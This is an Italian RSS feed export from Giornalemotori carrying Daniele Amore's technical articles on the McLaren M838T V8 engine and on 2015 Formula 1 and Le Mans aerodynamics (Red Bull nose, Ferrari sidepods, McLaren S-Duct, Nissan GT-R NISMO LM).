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					<description><![CDATA[<p>La McLaren è il team che più di tutti ha vinto in F1 sfruttando questa logica. Quando il team di Woking ha fatto la scelta di entrare nel mercato di produzione con una serie di supercar, si è posto il problema di avere un motore che non fosse solo comprato. </p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/01/03/mclaren-m838t-engine/">Best Engine: McLaren M838t V8 Biturbo</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-56788" src="https://www.giornalemotori.com/wp-content/uploads//2016/01/2012-mclaren-mp4-12c-m838t-twin-turbocharged-38-liter-v-8-engine-photo-385637-s-1280x782-300x183.jpg" alt="2012-mclaren-mp4-12c-m838t-twin-turbocharged-38-liter-v-8-engine-photo-385637-s-1280x782" width="300" height="183" title="Best Engine: McLaren M838t V8 Biturbo 976">C&#8217;erano una volta i Garagisti. Il termine che usava Enzo Ferrari per descrivere la logica che usavano i britannici per le macchine da corsa. I team di oltremanica non costruivano tutto in casa ma si limitavano ad assemblare al meglio le eccellenze che nei vari campi della meccanica il mercato potesse offrire. Una politica che ha fatto la fortuna dei team Britannici fino ad oggi con le vittorie della RedBull in F1. La McLaren è il team che più di tutti ha vinto in F1 sfruttando questa logica. Quando il team di Woking ha fatto la scelta di entrare nel mercato di produzione con una serie di supercar, si è posto il problema di avere un motore che non fosse solo comprato. Serviva un motore preso da una società esterna rispettando appieno le caratteristiche dei progettisti McLaren. Una politica molto simile a quella applicata dal costruttore nostrano Pagani con i suoi motori messi appunto specificamente dalla AMG. La scelta è caduta su un progetto rimasto in sospeso dalla Tom Wolkinshow Racing. Si tratta di un motore sviluppato su base Nissan VRH. Un propulsore inizialmente progettato per gareggiare per il campionato IRL negli USA. A sviluppare questo motore è stata chiamata la Ricardo che ha stravolto il progetto iniziale tenendo inalterato solo l&#8217;interasse dei cilindri a  93 mm, per dare vita al motore V8 chiamato M838T. <sup id="cite_ref-caranddriver_2-0" class="reference"></sup></p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-56789" src="https://www.giornalemotori.com/wp-content/uploads//2016/01/3.8L-TT-V8-300x169.jpg" alt="3.8L TT V8" width="300" height="169" title="Best Engine: McLaren M838t V8 Biturbo 977">Dal punto di vista tecnico si tratta di un V8 bi-turbo, con angolo tra le bancate di 90 gradi, lubrificazione a carter secco, albero piatto,  con una distribuzione a 32 valvole.  Un albero a camme  per banca, che comanda le valvole con bilancieri  a dito, la distribuzione è comandata tramite  catena.  La  potenza nella versione base è di circa 600cv sviluppata a 7500 giri / min, per una coppia di 600 Nm a 3000 giri / min, per un valore di emissioni certificate di 279 g / km di CO2. Questo motore ha l&#8217;attestazione per emissioni Euro5 / ULEV2. Dotato di un alesaggio di 93.0 mm per una corsa di 69.9 mm, per una cilindrata 3799 cc. Queste geometrie permettono un rapporto di compressione di 8.7: 1. Le dimensioni del motore sono di 623 mm di lunghezza  per un altezza  di 465 mm, con un peso di soli  200 kg.   Con queste caratteristiche l&#8217; M838T  è motore solo apparentemente tradizionale. Il blocco cilindri è stato progettato per contenere i pesi.  I progettisti hanno lavorato riducendo il peso di ogni dettaglio dai carter in lega di alluminio,fino all&#8217;utilizzo delle<strong> </strong>canne dei cilindri integrali, ossia ricavate direttamente nel materiale dello stesso blocco cilindri. In questo caso possono sono lambite direttamente dal liquido di raffreddamento,  una tecnica che permette un risparmio di 4 gk rispetto alla tradizionale canne in ghisa riportate.  Nel complesso il solo monoblocco pesa solo 36kg.  Anche l&#8217;albero motore è stato alleggerito usando una disposizione del manovelismo ad albero piatto piatto, che permette con una minore dimensione dei contrappesi. Questa configurazione dell&#8217;albero motore ha come caratteristica che le manovelle sono disposte a 180 gradi tra di loro. Una soluzione che non limita le vibrazioni ma permette di avere un&#8217;impianto di scarico molto meglio ottimizzato per dimensioni e peso, oltre che un sound veramente caratteristico. Per fare un esempio,  motori di questo tipo dono V8 Ferrari, V8 BMW, o V8 della Corvette C6. Questa conformazione permette di avere una corsa più breve  del pistone permettendo un abbassamento dell&#8217;altezza a soli 201 mm. Il motore ha una lubrificazione  a carter secco che  consente di abbassare il baricentro del motore rispetto al telaio.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-56790" src="https://www.giornalemotori.com/wp-content/uploads//2016/01/p1_turbo_cutaway-300x194.jpg" alt="p1_turbo_cutaway" width="300" height="194" title="Best Engine: McLaren M838t V8 Biturbo 978">La testa cilindri è stata progettata per avere una migliore camera di combustione con un ottimizzazione dei condotti che ottimizzano il flusso della miscela.  Le teste usano coperchi e componenti accessori in materiale plastico e composito per ridurre il peso di ben 2.3kg, inoltre si è lavorato tanto sulle parte per avere uno spessore dell&#8217;alluminio inferiore. L&#8217;ottimizzazione passa per il condotto che ospita la candela che consente di risparmiare altri 2,5 kg. L&#8217;angolo delle valvola più stretto riduce la larghezza  della testa. Un lavoro di integrazione del comando delle alzate delle valvole consente di ridurre anche la lunghezza delle teste.  Un lavoro certosino anche i sistemi di ritenuta per l&#8217;olio lubrificante. La dimensione della valvola di scarico è stata massimizzata per evitare limitazioni al flusso di gas il tutto per aumentare l&#8217;energia fornita alla turbina.  I condotti di aspirazione sono progettati per avere eccellente flusso di gas, pur mantenendo una buon effetto tumble, effetto che si ottiene quando la miscela ruota entrando nella camera di combustione con un angolo perpendicolare al asse cilindro, per migliorare la miscelazione aria-carburante. La portata elevata di miscela riduce le perdite di pompaggio migliorando la combustione a basso numero di giri riducendo al contempo il consumo di carburante agli alti regimi. Lo studio su flussi e sulla combustione migliora il rendimento su tutto l&#8217;acro della curva di coppia.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-56791" src="https://www.giornalemotori.com/wp-content/uploads//2016/01/PorscheCaymanEngine-1-300x209.jpg" alt="PorscheCaymanEngine-1" width="300" height="209" title="Best Engine: McLaren M838t V8 Biturbo 979"> Il comando delle valvole utilizza un sistema a dito per comandare l&#8217;alzata delle valvole. La massa ridotta del comparto molla/valvola, con un&#8217; elevata rigidità del sistema permette un controllo preciso del movimento anche ad alta  ad alta velocità migliorando il rendimento riducendo le  perdite per attrito.  I profili delle camme sono stati progettati anche per ridurre il rischio di perdita di contatto in condizioni estreme dove si può verificare il fenomeno di rimbalzo della camma sulla superficie della molla. La fusione della testa è stata sviluppata per evitare picchi termici di alcune zone della particolarmente sollecitate, uno studio dei flussi nelle intercapedini di  raffreddamento e delle guarnizioni ha consentito un controllo del lubrificante ottimizzato del refrigerante per la testa.  Il controllo della temperatura è un punto fondamentale per efficienza del motore, per questo motivo il V8 può contare su delle masse radianti adeguate al raffreddamento del motore. Le masse radianti possono entrare in funzione a seconda dell&#8217;utilizzo anche estremo dell&#8217;auto.  Un motore efficiente al punto da poter ridurre il regime di minimo a 650 giri/minuto, cosa che consente di avere un consumo ridotto con una ridotta emissione inquinante. Questo non impedisce nel momento in cui si chiede di erogare più di 600cv a circa 7500 giri/minuto.</p>
<p style="text-align: justify">L&#8217;M838T è stato la base che ha equipaggiato il primo modello di supercar McLaren la Mp4-12c, per poi evolversi sui modelli seguenti con potenze sempre crescenti, dimostrandosi versatile ed in grado di arrivare ad essere equipaggiato sulla più potente Ipercar britannica la P1 che con l&#8217;ausilio della propulsione ibrida per raggiungere quasi 1000cv.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>F1: Le modifiche al muso della Redubll, e la loro efficacia</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 26 Jun 2015 09:31:29 +0000</pubDate>
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										<content:encoded><![CDATA[<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/esp-rbr-nose.jpg"><img decoding="async" class="alignleft size-medium wp-image-52443" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/esp-rbr-nose-300x240.jpg" alt="esp-rbr-nose" width="300" height="240" title="F1: Le modifiche al muso della Redubll, e la loro efficacia 981"></a>Torniamo a parlare di musi delle F1. Lo facciamo prendendo ad esempio quello che hanno fatto in casa Redbull dal Gp di Spagna. Presentatasi con un muso molto simile a quello della Mercedes della passata stagione con una proboscite appena accennata, evidentemente non ha funzionato fin dal primo GP in Australia.  A parte gli evidenti limiti che la power unit Renault che stanno frenando la RB11, i tecnici della Redbull hanno pensato bene di adottate una soluzione diversa per il muso anteriore. Una spesa ed un impresa molto particolare considerando che in pochissimo tempo hanno dovuto disegnare, produrre ma soprattutto superare le prove di crash previste dalla Fia per questo componente.  L&#8217;obiettivo è quello di recuperare carico aerodinamico sotto la vettura arretrando il muso e liberando di netto tutta la zona che si trova al disotto di esso a partire dalla sezione che si trova tra i piloni di sostegno arretrati come nel caso della Mercedes. Nella parte superiore è comparso un  bel nasello che svuota letteralmente la zona anteriore offrendo un grosso canale che può inviare l&#8217;aria al centro della vettura. Abbiamo voluto prendere ad esempio questa soluzione per dimostrare che non si può intervenire su un componente così fondamentale come il muso o l&#8217;ala anteriore senza rischiare di rompere l&#8217;equilibrio generale della vettura.</p>
<p style="text-align: justify">Una maggiore quantità di aria non è detto che sia la migliore delle cose per la RB11. Se i progettisti hanno trovato la quadra nella galleria del vento con un muso ingombrante e più lungo durante l&#8217;inverno,  se lo si accorcia e lo si svuota,  il maggiore passaggio di aria potrebbe paradossalmente ingolfare la zona centrale della monoposto. In effetti dopo il GP di Barcellona per i tracciati a seguire nella parte posteriore del profilo estrattore dove il regolamento lo consentiva sono comparse anche delle feritoie per migliorare il passaggio di aria e la conseguente tenuta per effetto suolo. Una caratteristica da sempre molto importate sulle vetture della Redbull al punto che il carico sottostante diventa un vero e proprio freno aerodinamico per la monoposto da sempre assillata da velocità di punta basse, un problema quanto mai drammatico in condizioni di inferiorità motoristica.</p>
<p style="text-align: justify">Il confronto va fatto con i cugini della Toro Rosso. Infatti i tecnici italiani hanno concepito la loro monoposto con un muso arretrato e vuoto nella parte sottostante con un canale per il passaggio aria molto ampio fin dall&#8217;inizio. Un lavoro che consente di avere un maggiore equilibrio nello sfruttamento dei flussi che consente alla piccola factory du Faenza di stare spesso davanti alla Redbull. Un equilibrio che siamo sicuri non vogliono rompere i tecnici della Ferrari. Probabilmente adottare un muso con questa configurazione non da la giusta fiducia circa l&#8217;equilibrio generale dei flussi sotto la vettura. E&#8217; impensabile che dopo una modifica così estrema delle fiancate non si possa operare con la stessa efficacia nell&#8217;apportate modifiche al muso se non fosse più dannoso che risolutivo.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>F1: Analisi del pacchetto aerodinamico Ferrari dopo Barcellona</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 17 Jun 2015 10:13:08 +0000</pubDate>
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					<description><![CDATA[<p>La Ferrari al Gran Premio di Barcellona ha portato un bel po di novità tecniche al telaio ed all&#8217;aerodinamica. Prima di voler portare una analisi dettagliata delle modifiche apportate alla SF15-T abbiamo voluto prima verificare la loro effettiva efficienza verificando i risultati considerando tre tipologie di tracciato.  Dalla completezza di Barcellona, al salotto di Montecarlo, [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/esp-ferrari-sidepod1.0.jpg"><img decoding="async" class="alignleft size-medium wp-image-52208" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/esp-ferrari-sidepod1.0-300x240.jpg" alt="esp-ferrari-sidepod1.0" width="300" height="240" title="F1: Analisi del pacchetto aerodinamico Ferrari dopo Barcellona 987"></a>La Ferrari al Gran Premio di Barcellona ha portato un bel po di novità tecniche al telaio ed all&#8217;aerodinamica. Prima di voler portare una analisi dettagliata delle modifiche apportate alla SF15-T abbiamo voluto prima verificare la loro effettiva efficienza verificando i risultati considerando tre tipologie di tracciato.  Dalla completezza di Barcellona, al salotto di Montecarlo, per finire al velocissimo tracciato di Montreal.  La particolarità del pacchetto aerodinamico che è stato introdotto a Barcellona che vogliamo portare all&#8217;attenzione dei nostri lettori è la nuova forma delle fiancate laterali. Le modifiche non hanno interessato solo i nuovi deflettori ad arco siti sul bordo di attacco della fiancata che contiene le masse radianti, ma piuttosto di una nuova forma nella parte esterna che crea una sorta di canale molto ben visibile che punta direttamente verso il basso portando aria direttamente verso la zona posteriore della monoposto. La nuova forma della fiancata ha lo scopo di creare un effetto coanda del flusso aria che investe la parte superiore del cassa.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/ala-coanda.png"><img decoding="async" class="alignleft size-medium wp-image-52209" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/ala-coanda-300x126.png" alt="ala-coanda" width="300" height="126" title="F1: Analisi del pacchetto aerodinamico Ferrari dopo Barcellona 988"></a>Volendo semplificare la massimo il concetto,  l&#8217;effetto Coanda è quando un fluido che investe un oggetto, procede lungo una superficie curva, tende a seguire la traiettoria tangente a quella superficie anche quando la superficie finisce. In sostanza il flusso di aria che investe la fiancata nella zona superiore tende a seguire la forma rimanendo aderente, questo permette se gli ingegneri gli fanno prendere una determinata direzione di poter indirizzare il flusso aria esattamente dove serve cioè nella zona del profilo estrattore posteriore per un maggiore carico aerodinamico con al contempo una minore resistenza aerodinamica della fiancata stessa. Il flusso che arriva allo scivolo estrattore aiuta inevitabilmente il flusso aria che arriva dal fondo piatto che sfoga grazie all&#8217;azione del profilo estrattore posteriore generando carico aerodinamico verticale.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/esp-ferrari-sidepod-1.2.jpg"><img decoding="async" class="alignleft size-medium wp-image-52210" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/esp-ferrari-sidepod-1.2-300x238.jpg" alt="esp-ferrari-sidepod 1.2" width="300" height="238" title="F1: Analisi del pacchetto aerodinamico Ferrari dopo Barcellona 989" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/06/esp-ferrari-sidepod-1.2-300x238.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/06/esp-ferrari-sidepod-1.2.jpg 473w" sizes="(max-width: 300px) 100vw, 300px" /></a>Questo effetto è stato praticamente alla base di tutta la progettazione Redbull negli anni in cui hanno vinto tutto. Newey utilizzava l&#8217;aria calda degli scarichi indirizzandola esattamente dove serviva per creare una sorta di sigillo termico che scambiasse la necessaria energia per poi velocizzare il flusso aria sotto la vettura, le varie rampe in uscita dagli scarichi erano proprio per creare effetto conada.  Questo portava enormi carichi aerodinamici oggi non più possibili con la conformazione a scarico unico. In ogni caso alla Ferrari hanno tentato di utilizzare gli effetti benefici del coanda moficando la forma della fiancata per ottenere un certo beneficio al posteriore della monoposto.  Un altro aspetto secondario ma non meno importante che ha comportato questa modifica  è stato quello di aumentare la velocità del flusso superiore della fiancata. Da un po di anni la parte inferiore dei cassoni laterali sono sempre più rastremate verso il centro della vettura lasciando scoperte grosse porzioni di fondo piatto. L&#8217;aria che passa in questa zona non avendo una resistenza  riesce ad arrivare con una maggiore velocità nella parte posteriore della vettura. Ma se poniamo come il cassone laterale come un elemento che per forma è riconducibile a quello di un grossa ala di aereoplano si può comprendere guardano la foto al lato che la velocità della aria che passa sopra è inferiore a quella che passa nella zona rastremata sottostante. Nella foto principale i flussi sono indicati con V1 e V2.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/portanza.jpg"><img decoding="async" class="alignleft size-medium wp-image-52211" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/portanza-300x215.jpg" alt="portanza" width="300" height="215" title="F1: Analisi del pacchetto aerodinamico Ferrari dopo Barcellona 990"></a> In certe condizioni si potrebbe generare una certa forza portante. Non si tratta una forza tale da far decollare la monoposto come un aeroplano, ma sicuramente si tratta di una componente che sottrae una certa quantità di carico verticale proprio nella zona centrale della monoposto. In sostanza succede quello che avviene con le vetture di serie che avendo una forma affusolata sulla parte superiore alle alte velocità tende ad alzarsi perdendo una certa stabilità. Oggi vetture di questo tipo hanno delle appendici nel posteriore che generano una certa forza verticale per compensare la forma della carrozzeria come si vede nella foto della McLaren P1 sottostante.  Su una monoposto di F1 questa funzione viene compiuta dalle ali che devono essere caricate paradossalmente anche per tracciati veloci proprio per non perdere stabilità alle alte velocità per una forma della carrozzeria come le fiancate affusolate.  La nuova forma della fiancata Ferrari aumenta la velocità di passaggio del flusso aria nella parte superiore della fiancata quindi riduce la differenza tra la parte superiore e quella inferiore generando meno spinta verso l&#8217;alto. Se c&#8217;è un maggiore equilibrio tra i due flussi viene per de se che le ali non devono essere caricate oltre il normale sul veloce per tenere stabile la vettura potendo puntare su un set up che predilige velocità massima sui lunghi rettilinei come quelli di Montreal.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/images-1.jpg"><img decoding="async" class="alignleft size-full wp-image-52212" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/images-1.jpg" alt="images (1)" width="216" height="234" title="F1: Analisi del pacchetto aerodinamico Ferrari dopo Barcellona 991"></a>In Canada la Ferrari ha potuto viaggiare con un carico aerodinamico abbastanza basso da consentire di poter sfidare le power unit Mercedes sul dritto con le Williams che non avevano la forza nonostante il podio per battere la Ferrari e le altre Lotus e Force India non sono riuscite a tenere dietro la Ferrari in rimonta. Un esempio eclatante è stato il caso del sorpasso di Vettel a Hulkenberg, in una condizione precedente a Barcellona con la vecchia configurazione non ci sarebbe stata la possibilità di affiancare la Force India del tedesco.  In definitiva possiamo dire che se il pacchetto aerodinamico unito alle modifiche con i gettoni della power unit non ha portato il salto di qualità recuperando il gap sulla Mercedes come si sperava e come i numeri dicono senza appello, possiamo anche affermare con certezza che se a Maranello non avessero introdotto queste modifiche da Barcellona il distacco dalla capolista sarebbe aumentato in modo considerevole.  A quest&#8217;ora staremmo assistendo ad un recupero sia della Williams che delle altre motorizzate con le power unit Mercedes. Ad oggi la Ferrari è l&#8217;unica che riesce a stare a tre decimi di secondi in qualifica e può portare un passo gara non lontano dalla frecce d&#8217;argento.</p>
<p style="text-align: justify">Cosa manca? la domanda che si stanno ponendo i lettori è lecita. Manca uno sviluppo del telaio e della cinematica delle sospensioni che non è di facile soluzione. Come diceva il Vecchio Drake, con l&#8217;aerodinamica si guadagnano i decimi con le gomme i secondi. Una buona cinematica delle sospensioni con geometrie corrette mette in condizioni le difficili gomme Pirelli di lavorare in regime ottimale. Una condizione di equilibrio che deve consentire di poter scaldare le gomme in fretta ed al contempo non consumarle alla svelta. Una condizione che oggi è possibile solo alla Mercedes. Una crescita che la Ferrari dovrà fare nel tempo, un tempo che può non essere breve come i tifosi sperano.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>Le Mans: La spettacolare Nissan GT-R NISMO LM</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 11 Jun 2015 10:07:57 +0000</pubDate>
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					<description><![CDATA[<p>Siamo giunti nella settimana della 24H di Le Mans. Mai come quest&#8217;anno grazie ad un regolamento messo in campo dalla ACO, l&#8217;organizzazione che gestisce in proprio la corsa e che definisce le regole anche per il campionato WEC, promette di essere una delle più belle, affascinanti e spettacolari dal punto di vista della diversità progettuale [&#8230;]</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2015/06/11/le-mans-la-spettacolare-nissan-gt-r-nismo-lm/">Le Mans: La spettacolare Nissan GT-R NISMO LM</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/nissan-gt-lm-nismo-specs.jpg"><img decoding="async" class="alignleft size-medium wp-image-51964" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/nissan-gt-lm-nismo-specs-300x200.jpg" alt="nissan-gt-lm-nismo-specs" width="300" height="200" title="Le Mans: La spettacolare Nissan GT-R NISMO LM 996"></a>Siamo giunti nella settimana della 24H di Le Mans. Mai come quest&#8217;anno grazie ad un regolamento messo in campo dalla ACO, l&#8217;organizzazione che gestisce in proprio la corsa e che definisce le regole anche per il campionato WEC, promette di essere una delle più belle, affascinanti e spettacolari dal punto di vista della diversità progettuale dei protagonisti. Quattro i costruttori impegnanti nella massima categoria LMP. Tutti con varie tipologia  di propulsione ibrida. Ci sono Toyota campione del mondo in carica, Audi vincitrice della passata edizione della 24H, Porsche attualmente la più veloce nelle prove che hanno anticipato la corsa, e la spettacolare esotica Nissan con la  GT-R NISMO LM.  Come ogni anni andiamo ad analizzare i modelli che lotteranno per la vittoria dal punto di vista tecnico, cominciando proprio dalla più fantasiosa delle vettura la Nissan GT-R NISMO LM. Fino a quando non è comparsa questa spettacolare vettura le ruote anteriori delle LMP venivano usate per consentire di sfruttare la potenza dovuta alla propulsione ibrida come visto sulle Audi e sulle Porsche di fatto diventano trazioni integrali,  mentre Toyota ancora usava la trazione posteriore pura con il sistema ibrido che lavora in simbiosi concentrato sull&#8217;asse posteriore.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/nissan-gt-lm-nismo-specs-9.jpg"><img decoding="async" class="alignleft size-medium wp-image-51965" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/nissan-gt-lm-nismo-specs-9-300x179.jpg" alt="nissan-gt-lm-nismo-specs-9" width="300" height="179" title="Le Mans: La spettacolare Nissan GT-R NISMO LM 997"></a>Nel caso della  GT-R NISMO LM il motore si trova davanti. Non una novità assoluta anche la Panoz nella fine degli anni 90 aveva provato con un prototipo a motore anteriore, ma la vera novità sta nel fatto che anche la trazione è anteriore. Da come si vede dalla foto dell&#8217;esploso tecnico, nella parte anteriore della vettura ci sono le gomme maggiori per sopportare la trazione della maggiora parte della potenza.  La GT-R NISMO LM come le rivali più accreditate usa un sistema ibrido, che sfrutta per la parte endotermica un motore a benzina  twin-turbo, V6 a 60 gradi  denominato VRX 30A Nismo. Questo motore scarica la sua potenza direttamente sulle ruote anteriori mediante cambio a cinque marce che sfrutta una particolare frizione in carbonio Tilton. Ovviamente a questa potenza viene aggiunta quella del sistema  KERS che aiuta ad raggiungere le velocità massime necessarie per i rettilinei della Sarthe.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/nissan-gt-lm-nismo-specs-5.jpg"><img decoding="async" class="alignleft size-medium wp-image-51966" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/nissan-gt-lm-nismo-specs-5-300x200.jpg" alt="nissan-gt-lm-nismo-specs-5" width="300" height="200" title="Le Mans: La spettacolare Nissan GT-R NISMO LM 998"></a>Le dimensioni sono con una lunghezza di  4,65 m per 1,9 m di larghezza, con un peso di 870 Kg. Particolare il sistema di scarico che sfoga nella parte anteriore direttamente all&#8217;interno di un canale laterale all&#8217;abitacolo che raggiunge la zona posteriore della vettura per ridurre la resistenza aerodinamica con compiti di aiuto del profilo estrattore del fondo vettura. La massima trazione, problema annoso per tutte le anteriori, figuriamoci per vetture da competizione da 600 e passa cavalli, viene risolto passando per una particolare gestione elettronica del motore progettata in collaborazione con Cosworth e da un controllo di trazione gestito dal pilota che in rispetto del regolamento ACO può garantire la necessaria efficienza e la massima trazione soprattutto in uscita dalle curve strette e lente.  Se le gomme anteriori sono quelle maggiorare nel posteriore la Nissan avrà gomme più piccole da 16 pollici. Nella zona posteriore visto l&#8217;esigua disponibilità di spazio si è scelto di progettare una nuova tipologia di sospensione differenziata. All&#8217; anteriore ci sono quadrilateri classici con ammortizzatori tipo  Ohlins regolabili,  nella parte posteriore un particolare schema compatto ideato da Nissan con ammortizzatori Penske.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/06/nissan-gt-lm-nismo-specs-2.jpg"><img decoding="async" class="alignleft size-medium wp-image-51967" src="https://www.giornalemotori.com/wp-content/uploads//2015/06/nissan-gt-lm-nismo-specs-2-300x200.jpg" alt="nissan-gt-lm-nismo-specs-2" width="300" height="200" title="Le Mans: La spettacolare Nissan GT-R NISMO LM 999"></a>Per limitare l&#8217;effetto di sottosterzo,  ci sono delle barre antirollio ad azionamento idraulico. L&#8217;assenza del motore nella solita posizione centrale libera la zona posteriore dove sono ricavati due grossi canali che dovrebbero ridurre la resistenza aerodinamica, lavorando insieme all&#8217;aria che arriva dal fondo vettura per avere un maggiore carico verticale nei curvoni veloci.  Molto piccola e rastremata la cabina per il pilota. Quello che sembra l&#8217;abitacolo di una monoposto invece è configurato per una struttura biposto con il pilota decentrato sulla destra. Resta da capire se e quanta potenza la Nissan riesce a portare alle gomme posteriori. In effetti la Nismo GT-R NISMO LM  è progettata fin dalla nascita per avere parte della potenza elettrica che agisce sulle ruote posteriori per aiutare a sfruttare al massimo la trazione diventando integrale all&#8217;occorrenza. Da quello che è dato sapere la LMP che vedremo a Le Mans non avrà questa configurazione ma sarà completamente a trazione anteriore. Salvo sorprese dovrebbe essere la prima trazione anteriore in assoluto nella 24H. Se la Nissan unica ad usare questo schema avrà ragione lo diranno solo i risultati dopo la corsa. In ogni caso un plauso al coraggio. Lo spirito della Le Mans passa soprattutto per questo tipo di progetti.</p>
<p style="text-align: center">[youtube]https://www.youtube.com/watch?v=Gq8I0_wygpI[/youtube]</p>
<p style="text-align: left"><strong>Daniele Amore</strong></p>
<p>&nbsp;</p>
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		<title>F1: Il sistema S-Duct usato dalla McLaren in Malesia</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 07 Apr 2015 12:18:05 +0000</pubDate>
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					<description><![CDATA[<p>La Mclaren nonostante la poca competitività che ha dimostrato nei primi due gran premi della stagione non ha mancato di mostrare alcune particolarità interessanti dal punto di vista aerodinamico. Uno dei punti più importanti è l&#8217;adozione del sistema detto S-Duct sul muso anteriore.  Con il termine S-Duct si intende un condotto ad S che prende [&#8230;]</p>
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<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/04/nuovo_muso_ferrari_f2008_1.jpg"><img decoding="async" class="alignleft size-medium wp-image-50153" src="https://www.giornalemotori.com/wp-content/uploads//2015/04/nuovo_muso_ferrari_f2008_1-300x225.jpg" alt="nuovo_muso_ferrari_f2008_1" width="300" height="225" title="F1: Il sistema S-Duct usato dalla McLaren in Malesia 1003" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/04/nuovo_muso_ferrari_f2008_1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/04/nuovo_muso_ferrari_f2008_1-265x198.jpg 265w, https://www.giornalemotori.com/wp-content/uploads/2015/04/nuovo_muso_ferrari_f2008_1.jpg 432w" sizes="(max-width: 300px) 100vw, 300px" /></a>Uno dei punti di forza della Redbull è stato da sempre la capacità di Adrian Newey di far lavorare in modo più efficiente il fondo piatto. In effetti l&#8217;utilizzo del S-Duct ha lo scopo di togliere gli eccessi di pressione che l&#8217;aria genera quando una volta superata l&#8217;ala anteriore quando si addensa sotto il muso prima di andare ad alimentare il fondo. L&#8217;aria in eccesso viene condotta nella parte superiore dove incontra il flusso che investe il muso. Il lavoro fatto a suo tempo sulla Rebull è importante in quanto l&#8217;aerodinamico che progettò tale sistema per la casa austriaca oggi è il responsabile dell&#8217;aerodinamica McLaren Honda. Di conseguenza ha portato con se tutte le idee che sono stata usate in passato con i rivali della Redbull. Il problema  è che la MP4-30 non sembra avere l&#8217;equilibrio che avevano le varie versioni delle Redbull in passato. In sostanza non si riesce bene a capire se l&#8217;adozione dell&#8217;S-Duct sulla McLaren abbia portato benefici o peggio abbia messo in crisi la monoposto. Per tutto il week end di Malesia la monoposto inglese ha sofferto di problemi di bilanciamento.</p>
<p style="text-align: justify">C&#8217;è da tenere presente che in gara Jenson Button ha chiesto una regolazione dell&#8217;ala anteriore agli antipodi di quanto fatto per l&#8217;intero week end. Il risultato è stato un netto miglioramento della monoposto. Questo indica che la parte fondamentale dell&#8217;intera aerodinamica della MP4-30 è l&#8217;ala anteriore che dirige l&#8217;aria verso il fondo piatto. Se si riesce a capire come far funzionare la prima potrebbe avere anche senso avere il sistema S-Duct sempre nell&#8217;ottica di avere maggiore deportanza dal fondo vettura, con una penetrazione ed un efficienza migliorata alle alte velocità.</p>
<p><strong>Daniele Amore </strong></p>
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		<title>F1: La nuova ala anteriore Ferrari in Australia</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 18 Mar 2015 11:30:47 +0000</pubDate>
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					<description><![CDATA[<p>La Ferrari ha cominciato un mondiale di F1 con delle modifiche importanti all&#8217;ala anteriore rispetto ai test che si sono svolti a Barcellona. Nella foto nel riquadro in alto si vede chiaramente la forma classica dell&#8217;ala anteriore che ricorda quella già usata nella passata stagione. Nella versione 2015 si vede chiaramente un cambiamento quasi radicale. [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2015/03/Listener-2.jpg"><img decoding="async" class="alignleft size-medium wp-image-49520" src="https://www.giornalemotori.com/wp-content/uploads//2015/03/Listener-2-300x300.jpg" alt="Listener (2)" width="300" height="300" title="F1: La nuova ala anteriore Ferrari in Australia 1005" srcset="https://www.giornalemotori.com/wp-content/uploads/2015/03/Listener-2-300x300.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2015/03/Listener-2-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2015/03/Listener-2.jpg 332w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
